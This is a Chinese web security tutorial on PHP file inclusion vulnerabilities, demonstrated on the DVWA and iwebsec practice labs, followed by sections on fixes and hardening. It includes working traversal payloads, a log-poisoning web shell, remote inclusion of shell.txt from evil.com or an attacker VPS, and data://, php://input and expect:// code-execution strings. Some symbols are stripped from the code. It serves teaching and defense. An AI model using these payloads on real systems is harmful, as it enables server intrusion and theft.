
1. 从零理解文件包含漏洞它到底是什么为什么威力这么大做Web安全的朋友对文件包含漏洞应该都不陌生。很多人在最开始接触渗透测试或者代码审计的时候第一个遇到的漏洞往往是SQL注入或者XSS但文件包含漏洞却常常被低估。实际上它一旦被利用成功轻则读到服务器上的敏感配置文件重则直接拿下服务器权限危害程度完全不输给SQL注入甚至在某些场景下杀伤力还要更猛。所谓文件包含漏洞简单说就是程序在引入文件的时候把用户可控的输入直接拼进了文件路径导致攻击者可以控制服务器去加载一个原本不该被加载的文件。这在PHP程序里最常见Java、ASP.NET、Python等语言也有类似问题只是PHP的历史包袱重这类漏洞出现频率最高。我最早接触这个漏洞是在做代码审计的时候那时候看一套老旧的PHP CMS打开源码一眼就看到了类似include($_GET[page]);的写法。当时第一反应是这也能出洞后来仔细一想确实能出洞而且是能捅穿服务器的那种大洞。这个漏洞的利用场景基本分为两种本地文件包含LFILocal File Inclusion和远程文件包含RFIRemote File Inclusion。LFI指的是攻击者可以加载服务器本地的文件RFI则更进一步可以让服务器去加载攻击者指定服务器上的恶意代码。需要强调的是这不是什么高深莫测的黑魔法本质上就是一个输入校验缺失的问题。跟SQL注入一样根子在用户输入不可信这个老生常谈的原则上。但文件包含漏洞的破坏路径更直接因为include这类函数被调用时PHP引擎会直接执行被包含文件里的PHP代码这相当于把代码执行的权限交到了攻击者手里。这篇文章我会把文件包含漏洞的原理、利用方式和防御方案完整拆解一遍并且用DVWA和iwebsec这两个靶场环境做实际演示。如果你正准备入门Web安全或者在准备面试、打CTF这篇文章应该能帮你把这块的知识体系一次性串起来。2. 文件包含漏洞的核心原理拆解为什么代码会失控2.1 PHP文件包含函数的背后逻辑要理解文件包含漏洞先得搞清楚PHP里include和require这类函数到底干了什么。开发中我们经常会把公共的头部、底部、配置信息等抽成独立文件然后在需要的地方用include或require把它们引进来。这是很常规、很合理的开发方式本身没有任何问题。问题出在哪里出在文件路径这个东西变成了用户可控的变量。拿最经典的例子来说?php $file $_GET[page]; include($file); ?这段代码的逻辑是从URL参数里拿一个文件名然后直接把它include进来。如果访问index.php?pageabout.php那就加载about.php这个文件。看起来挺正常对吧但如果攻击者把page参数改成../../../../etc/passwd呢curl http://target.com/index.php?page../../../../../etc/passwd服务器上的include函数就会尝试加载/etc/passwd文件。在Linux系统里这个文件是系统的用户账户信息文件内容是明文存储的而且通常所有用户都有读取权限。如果PHP代码直接把文件内容输出到页面那系统账户信息就泄露了。这里面还有一个关键点就是include、require这类函数和普通读文件函数的本质区别。比如file_get_contents()只是把文件内容读成一个字符串除非你主动去解析执行否则文件内容不会变成代码。但include不同它会把目标文件的内容当作PHP代码来解析执行。也就是说如果你能控制include加载一个包含PHP恶意代码的文件那就直接获得了代码执行能力。这个特性就是文件包含漏洞能升级为RCE远程代码执行的根本原因。代码审计时看到一个include跟着一个用户可控变量基本可以断定这个点有搞头。2.2 为什么allow_url_include决定了RFI的生死LFI和RFI之间的分水岭在于PHP的一项配置allow_url_include。在PHP的默认配置中这项是Off关闭的。它控制的是include和require这两个函数能不能加载远程URL文件。大家直观上可能觉得既然include能加载文件那把URL传进去是不是就能加载远程文件呢答案是不一定关键就看这个开关。当allow_url_includeOn的情况下http://target.com/index.php?pagehttp://evil.com/shell.txt服务器会主动去请求http://evil.com/shell.txt这个远程地址并把返回的内容当作PHP代码执行。攻击者只要在公网的一台服务器上放一个恶意脚本然后让目标服务器去包含它就能让目标服务器执行攻击者精心构造的代码。这就是RFI危害比LFI更直接意味着攻击者不需要在目标服务器本地找可利用的文件直接在外部就能完成代码注入。但这里有一点要注意allow_url_include和allow_url_fopen是两个独立的配置项。很多PHP环境allow_url_fopen默认是On这个控制的是file_get_contents等函数能否读远程文件但allow_url_include默认是Off。有些开发者在配置环境时嫌麻烦或者图省事直接把两个开关全打开了结果就给RFI留下了生存空间。我在实际测试中也发现很多老旧的PHP站特别是那些从早期版本一路升级上来的配置文件中经常还保留着allow_url_includeOn的设定。所以做渗透测试时即使目标看起来没有明显的RFI点也值得试一下远程包含成本很低万一打开了就是大礼包。另外还有一个容易被忽略的细节PHP版本对包含行为也有影响。PHP 5.2之后远程包含的URL支持度变得更加严格如果URL带有查询参数等特殊字符可能会被拒绝。但基础思路不变核心决定因素始终是allow_url_include的值。3. 漏洞利用实战从DVWA到iwebsec的完整攻击链3.1 搭建本地靶场环境DVWA和iwebsec的准备工作纸上谈兵没意思直接把靶场搭起来动手练一遍印象会深得多。这里我推荐两个靶场DVWA和iwebsec。DVWA大家应该很熟悉经典的PHP漏洞靶场专为安全教学设计。iwebsec是另一个不错的Web安全训练平台界面简洁覆盖的漏洞类型也很全面而且部署方式比DVWA更轻量。我的测试环境是这样的操作系统Windows 11上面装了VMware虚拟机虚拟机上跑Ubuntu 22.04 LTS用Docker Compose方式部署靶场省去配环境的麻烦DVWA的Docker部署很简单git clone https://github.com/digininja/DVWA.git cd DVWA docker compose up -diwebsec的部署方式也类似直接拉镜像启动即可docker pull iwebsec/iwebsec docker run -d -p 8080:80 --name iwebsec iwebsec/iwebsec启动之后浏览器访问对应端口就能看到靶场首页。DVWA默认账号是admin/passwordiwebsec一般不需要登录。这两个靶场都自带文件包含漏洞模块可以直接开始测试。有一点要提醒大家靶场和真实系统不一样部署靶场就是为了模拟漏洞所以里面很多安全机制是有意弱化的。在真实系统上做测试一定要先获得授权否则就是违法行为了。这个底线必须守住。3.2 DVWA的LFI利用从读取系统文件到日志注入GetshellDVWA的文件包含漏洞模块在页面里提供了一个切换页面的功能URL格式大概是这样的http://127.0.0.1/DVWA/vulnerabilities/fi/?pageinclude.php当你点击不同的文件时URL中的page参数会跟着变化。老规矩我们直接把page参数改成一个路径穿越的Payloadhttp://127.0.0.1/DVWA/vulnerabilities/fi/?page../../../../../../etc/passwd如果DVWA的安全级别是low页面会直接把/etc/passwd的内容显示出来。root用户、daemon用户、bin用户系统的账户情况一览无余。这是LFI最基础的利用方式。但文件包含漏洞的看点远不止读文件真正致命的是想办法把它升级成代码执行。这里我分享一下在DVWA中使用的日志注入Getshell方法思路其实很简单先把恶意PHP代码通过User-Agent写进服务器日志然后再用文件包含漏洞去包含这个日志文件。先构造一个包含恶意代码的User-Agent用Burp Suite或者curl都可以curl -A ?php system(\$_GET[cmd]); ? http://127.0.0.1/DVWA/vulnerabilities/fi/?pageinclude.php这里我故意把$_GET里的$转义了是因为在bash环境下不加转义的话美元符号会被Shell截获当成变量解析就写不到日志里了。这个细节容易踩坑。请求发出后Apache会把User-Agent内容写进访问日志。接下来我们查看一下Apache的日志路径通常位于/var/log/apache2/access.log然后直接用LFI包含这个日志文件http://127.0.0.1/DVWA/vulnerabilities/fi/?page../../../../../../var/log/apache2/access.log页面里会出现一堆访问日志记录其中就包含我们注入的恶意User-Agent。虽然日志文件内容不会自动执行但如果我们能在包含日志后还能传参情况就不同了。包含日志的时候带上cmd参数http://127.0.0.1/DVWA/vulnerabilities/fi/?page../../../../../../var/log/apache2/access.logcmdid这时候日志中那一行?php system($_GET[cmd]); ?被include加载后就会被PHP引擎解析执行system函数会执行我们通过cmd参数传入的命令最后把执行结果回显在页面上。这套流程走通就代表着从文件读取升级到了命令执行服务器的控制权已经在手上了。不过日志注入有个前提条件就是Web服务器进程对日志文件必须有读取权限。多数情况下Apache/Nginx以www-data用户运行读取自己的日志文件是没问题的所以这个思路在实际渗透中可行性很高。3.3 iwebsec文件包含漏洞一步步演示RFI远程包含iwebsec的文件包含漏洞模块做得比较完整LFI和RFI的页面都有。它的页面设计会直接标出源码方便学习时对照理解。我打开iwebsec的文件包含漏洞页面看到的是一个类似的接收参数的文件列表。参数名是?file源码大致如下?php $file $_GET[file]; include($file); ?老规矩先测LFI把file参数改成路径穿越http://127.0.0.1:8080/01.php?file../../../../etc/passwdiwebsec平台把系统文件内容直接显示出来了LFI确认存在。接下来测RFI这也是iwebsec的一个特色因为很多靶场默认把allow_url_include关掉了想测RFI只能改配置。iwebsec默认环境是开启远程包含的省去了改配置的麻烦。首先我需要一个公网或者内网可达的恶意PHP文件。在自己的VPS上新建一个文件shell.txt内容如下?php echo RFI_OK; system($_GET[cmd]); ?然后启动一个简单的HTTP服务python3 -m http.server 80接下来在iwebsec的URL里指定远程文件http://127.0.0.1:8080/01.php?filehttp://192.168.1.100/shell.txtcmdid如果一切正常页面上会出现RFI_OK的字样后面跟着id命令的执行结果。这意味着目标服务器已经执行了来自我VPS上的恶意代码。RFI的成功条件就两条目标allow_url_includeOn且目标服务器能够访问到我们所在的IP。如果目标是公网服务器那我们VPS上的恶意文件直接挂在公网即可。如果目标在内网那就得先搞定内网的一台机器作为跳板再在内网搭建恶意服务。这里再补一个细节RFI包含远程文件时如果目标服务器安装了防火墙或者有出网限制远程请求可能被卡住。这时候用LFI配合伪协议在不出网的情况下照样能实现代码执行这个我们后面详细讲。3.4 不同安全级别下的绕过思路从Low到High的逐步对抗DVWA的好处是它把同一漏洞分成了low、medium、high三个安全级别可以直观看到防护升级之后攻击手法的变化。Medium级别对LFI做了简单的过滤源码里能看到这样一行?php $file str_replace(array(../, ..\\), , $_GET[page]); include($file); ?它把../和..\直接替换为空字符串。这种方法看起来有效但实现有个致命缺陷替换是单次执行的。攻击者只要在路径中构造双写Payload过滤后剩下的依然是合法路径。比如....//....//....//etc/passwdstr_replace把中间的../删掉后剩下的字符串就变成了../../etc/passwd。这是很经典的过滤绕过姿势我实测了很多次屡试不爽。High级别的防护方式改成了前缀检查?php $file $_GET[page]; if (!fnmatch(file*, $file)) { exit(You can only include files that start with file); } include($file); ?它要求page参数必须是file开头这其实是利用了PHP的file://协议。所以利用方式反而更简单了直接用伪协议读取file:///etc/passwd整个漏洞的利用链条依然存在只是换了一层马甲。从这里可以看出来防护手段如果不做白名单校验都是治标不治本。4. 实战中的绕过技巧与进阶利用姿势4.1 路径过滤绕过的几种常见姿势前面提到的双写绕过只是文件包含绕过技巧里的冰山一角。我在这里把实际测试中比较常用的绕过手法系统梳理一遍。第一种是编码绕过。当目标对../做了过滤但没做urldecode时我们可以把../进行URL编码%2e%2e%2f - ../ %2e%2e%5c - ..\如果目标还有一次额外的解码逻辑可以直接二次编码%252e%252e%252f - %2e%2e%2f - ../这类问题在开发者的自定义过滤函数中特别常见因为很多人只过滤了原始字符串却忘了框架或中间件也可能解码一次导致过滤形同虚设。第二种是操作系统差异。在Windows系统中斜杠反斜杠都能作为路径分隔符所以../被过滤时可以尝试..\。如果目标跑在Windows上这个技巧往往直接绕过去。我遇到过用Linux测试了半天没成功换到Windows环境用反斜杠一次打通的案例。第三种是利用路径拼接的模糊性。比如....//、..././、..//这类Payload。很多过滤规则是死板的字符串匹配看到../就删但没考虑到重复斜杠、点号与斜杠的排列组合在文件系统解析时会自动归一化。路径最终到内核那里还是要经过规范化处理的只要过滤规则跟不上文件系统的解析逻辑就有绕过空间。拿LFI做一个综合演练假设目标过滤了../和..\可以用这个Payload验证file....//....//....//....//etc/passwd过滤一次后变成../../../../etc/passwd路径穿透成功。如果还有更多的过滤规则就组合编码、双写、重复斜杠等方式逐层试探。做这类测试的时候我会先用Burp Suite的Intruder批量跑几十种变体找出哪种能通再从输出判断目标的路径解析逻辑。人工一个个试太慢了工具效率高得多。4.2 PHP伪协议在LFI中的妙用php://filter、data://与php://inputLFI有一个非常强大的帮手就是PHP的伪协议。它能让文件包含漏洞在不依赖allow_url_include的情况下实现文件读取和代码执行实用性极强。先看php://filter这个伪协议的作用是对文件流进行过滤处理最经典的用法是配合base64编码读取PHP源码。因为源码文件中的PHP标签会被服务器解析执行直接包含会把代码执行结果输出看不到原始代码。但用php://filter包裹之后文件内容会经过base64编码再输出源码的原始内容就完整暴露了。举个例子如果当前目录有个config.php里面存着数据库账号密码http://target.com/index.php?pagephp://filter/convert.base64-encode/resourceconfig.php返回的内容是一串base64编码。把这串编码解码config.php里的全部源码就出来了。这是文件包含漏洞审计中最常用的信息收集手段能在不执行代码的情况下拿到源码后面对整个应用做白盒审计就容易多了。再看data://伪协议。这个协议可以直接把一个数据流当作文件来include从而实现无需上传文件就能执行任意代码。语法如下data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8上面这段base64解码后是?php phpinfo();?如果allow_url_includeOn直接用文件包含漏洞加载这个data://地址phpinfo()函数就会执行。phpinfo是第一步换成system(id)就是命令执行。还有php://input伪协议。这个协议会把请求体的原始内容当作输入流。利用方式是通过POST请求发送恶意代码然后在GET参数里包含php://inputcurl -X POST http://target.com/index.php?pagephp://input -d ?php system(id);?前提依然是allow_url_includeOn但对POST请求体内容没有过滤能把任意代码直接传递给服务器执行。我整理了一张伪协议利用场景表方便后面查阅伪协议利用效果关键前提php://filter读取文件源码base64编码显示无需任何额外配置file://读取本地文件系统文件无需任何额外配置php://input通过POST请求体执行任意代码allow_url_includeOndata://通过数据流执行任意代码allow_url_includeOnexpect://直接执行系统命令需安装expect扩展phar://触发反序列化配合文件上传打出一条链无需额外配置expect://比较冷门需要服务器安装PHP的expect扩展默认环境基本不会装。如果目标真的开放了这个扩展那直接可以命令执行http://target.com/index.php?pageexpect://idphar://则是反序列化攻击的重要入口配合上传点能构造完整的攻击链。这个方向内容很深感兴趣的可以单独研究这里先不展开了。4.3 日志注入与临时文件包含另辟蹊径的LFI升级之路日志注入Getshell的思路前面在DVWA演示过一遍这里再补充两点实操细节。第一日志文件包含成功的标志是你看到页面上出现了日志内容但此时PHP代码还没有执行。必须在包含的URL里同时带上你注入的代码所依赖的参数比如cmdid恶意代码才会在解析阶段被激活。这是一个容易忽略的步骤新手经常发现包含成功了但没命令执行效果其实就是忘了带参数。第二不同的Web服务器、不同的系统发行版日志路径不一样。我整理了一些常见的路径测试时可以逐个尝试/var/log/apache2/access.log /var/log/apache/access.log /var/log/nginx/access.log C:\xampp\apache\logs\access.log C:\wamp64\logs\apache_error.log除了日志注入还有一个思路是利用临时文件。PHP在接收到文件上传请求时会先把上传的文件存到一个临时目录文件名是随机生成的生命周期很短请求结束就删除。但如果能在临时文件存在的那一瞬间通过LFI包含它也能实现代码执行。这个手法对时间窗口要求很高一般用条件竞争的方式反复发包成功率取决于目标服务器的性能。这个手法我用的不多但对攻防比赛来说是一种值得掌握的思路。5. 影响面分析文件包含漏洞能造成多大的破坏很多初学者对文件包含漏洞的理解停留在能读文件这个层面觉得危害不过尔尔。但实际上文件包含漏洞的攻击链可以走得非常深特别是LFI结合伪协议之后几乎就是一条从信息泄露到服务器沦陷的完整高速公路。第一步是敏感信息泄露。通过LFI读取/etc/passwd可以获取系统用户列表读取/etc/shadow可以拿到密码哈希如果权限允许。Web应用层面的源码、数据库配置、密钥文件、备份文件都在可读取范围内。把PHP源码读出来后代码中的硬编码密码、内部API路径、业务逻辑缺陷都暴露无遗整个应用在攻击者面前等同于裸奔。第二步是代码执行。RFI直接加载远程恶意代码php://input或data://直接注入代码。即使这些条件都不满足日志注入、临时文件竞争等方式依然有机会实现同样的效果。代码执行之后攻击者通常会上传WebShell建立持久化后门然后做内网横向移动。这个过程的危害程度已经不亚于服务器直接被拿下。第三步是供应链级别的风险。如果被攻破的是一个公共组件或通用库文件包含漏洞的影响范围会进一步扩大。比如某个流行的CMS框架存在LFI所有使用该框架的网站都会暴露风险。攻击者可以批量扫描、批量利用形成规模化的安全事件。除了直接的攻击危害文件包含漏洞还有一个隐蔽的风险点很多静态扫描工具和WAF规则对文件包含漏洞的检测覆盖率并不高特别是面对编码绕过和伪协议混杂的情况规则很容易漏报。这就导致漏洞可能在系统中潜伏很久成为后续攻击链中的关键一环。我见过不少企业年检报告里都没报出LFI问题结果在红蓝对抗中被攻方当作突破口一打就穿问题直到防守复盘时才被重视。6. 防御与修复彻底堵住文件包含漏洞的可行方案6.1 代码层修复从源头消除隐患文件包含漏洞的修复最根本的手段是在代码层杜绝用户输入直接进入文件路径。这不是修补一个函数的问题而是涉及源代码审计和开发规范的层面。最推荐的方案是白名单映射。不让用户直接提交文件名而是定义一组允许包含的文件索引根据用户提交的key去映射到实际文件路径?php $pages array( home ./pages/home.php, about ./pages/about.php, contact ./pages/contact.php ); $page $_GET[page] ?? home; if (array_key_exists($page, $pages)) { include($pages[$page]); } else { include($pages[home]); } ?这个方案彻底截断了用户对文件路径的直接控制即使page参数传了../../etc/passwd也找不到对应的key只会落到默认页。这是我在实际开发中最推荐的做法简单、可靠、对业务侵入也小。如果实在无法使用白名单必须动态包含用户指定的文件那至少要加上这些防护用realpath()函数获取文件的绝对路径并检查是否以应用定义的可信目录为前缀。不匹配就拒绝。使用open_basedir限制PHP可以访问的目录范围即使包含点被绕过读取路径也被限制在业务目录内。在php.ini中关闭allow_url_include从配置层面阻断RFI。禁用危险的PHP函数包括exec、system、passthru、shell_exec、popen等在disable_functions里统一配置。我见过一种看似修好实则没修的情况开发者对../做了过滤但没过滤绝对路径。攻击者直接在路径里写绝对路径过滤规则完全不起作用。还有的开发者把所有参数都过滤了一遍干脆用htmlspecialchars或者addslashes但这两个函数对路径穿越毫无效果因为../不涉及HTML实体也不涉及引号转义。做修复的时候一定要针对路径本身做检测而不是套用通用过滤。6.2 架构层防御纵深防御的思路光靠代码层修复还不够架构层的防御同样重要。第一道防线是WAFWeb应用防火墙。配置规则拦截包含../、php://filter、data://等特征的请求。但WAF不是万能的可以通过编码绕过所以WAF的规则需要持续更新。如果业务用到了CDNCDN的防护能力也要同等检查。第二道防线是上传文件隔离。很多文件包含漏洞和文件上传配合使用攻击者先上传一个带木马的文件再通过LFI包含它触发执行。因此在设计上传功能时上传目录应该与Web根目录隔离禁止直接通过URL访问。上传的文件名也要重命名成随机字符串防止攻击者猜测路径。第三道防线是运行时监控。在服务器上配置文件完整性监控对Web目录文件的增删改进行实时告警。一旦检测到新增了WebShell文件马上通知安全团队处置。日志审计也很关键对包含异常路径的访问请求要重点记录尤其是命中了伪协议或穿越特征的请求都应该触发告警。防御手段得配合起来使用单一方案总有绕过的可能纵深防御才能把风险控制在可接受范围内。下面这个表格是我做安全加固时常用的对照表防护层级具体措施防住什么开发规范白名单映射、杜绝变量拼接文件路径从源头消除漏洞代码层realpath校验、目录白名单限制拦截路径穿越和非法文件加载配置层allow_url_includeOff、open_basedir、disable_functions阻断RFI和命令执行网络层WAF规则、访问控制列表拦截恶意请求特征监控层文件完整性监控、日志审计及时发现攻击行为和WebShell7. 常见问题与排查技巧实录我的踩坑笔记写了这么多理论和利用最后分享一些我在实际操作中踩过的问题不少人学习文件包含漏洞时都会卡在这些点上。第一个经典问题是远程包含总是不成功页面上直接报错或者显示空白。绝大多数情况是allow_url_includeOff导致的。排查方法很简单写一个探针文件确认配置状态?php phpinfo(); ?如果是靶场环境看phpinfo里的allow_url_include值是否为On。如果是Off有两种办法一是改php.ini再重启服务二是不要硬刚RFI改用php://input或data://伪协议这两个的前提也都是allow_url_includeOn配置不满足的情况下只能走LFI的信息读取路线。第二个常见问题是读取文件时页面空白什么都看不到。这时候大概率是目标文件不可读或者路径写错了。建议先用绝对路径确认能否读取应用自身的文件比如PHP源码然后再尝试系统文件。另外注意一个坑就是路径穿越的层数不够如果目标路径很深比如/var/www/html/project/admin/includes/file.php你可能需要穿越好几层才能回到根目录。我习惯多尝试几次不同的深度比如../../../、../../../../、../../../../../直到某个深度能读出内容。第三个问题是php://filter读出的内容是一串中文乱码或者二进制乱码。这里要明确一下base64编码是正常现象而且恰恰是因为编码后的输出可读、可用我们才用这个方式读源码。把输出内容复制出来用base64解码工具还原即可。如果你看到的内容是乱码而不是base64字符串通常是编码方式选错了或者目标文件本来就不是文本文件。第四个问题是日志注入时恶意代码执行不了。我排查过几次发现原因通常是日志文件里含有特殊字符破坏了PHP语法。比如User-Agent里如果带了单引号或双引号拼接后可能让PHP标签提前闭合或者日志行里包含其他特殊符号导致整个语句结构被破坏。解决思路是注入一段尽可能简洁、不依赖外部引号的代码或者考虑把恶意代码注入到其他可控位置比如Referer字段再包含对应日志文件试试。第五个问题是文件包含读不到/etc/shadow返回权限不足。这很正常/etc/shadow需要root权限才能读Web服务进程通常是www-data用户没有权限访问。对策是优先测php://filter读取Web应用自己的源码源码里的数据库口令和配置信息往往才是最有价值的。最后再提一个很多人问的问题iwebsec靶场和DVWA靶场有什么区别练哪个更好我的个人体验是DVWA更适合新手入门它有清晰的安全级别梯度能循序渐进地理解防护升级后如何绕过iwebsec的漏洞类型更全界面更干净适合用来做专项练习。两个结合起来练文件包含这块应该就没什么盲区了。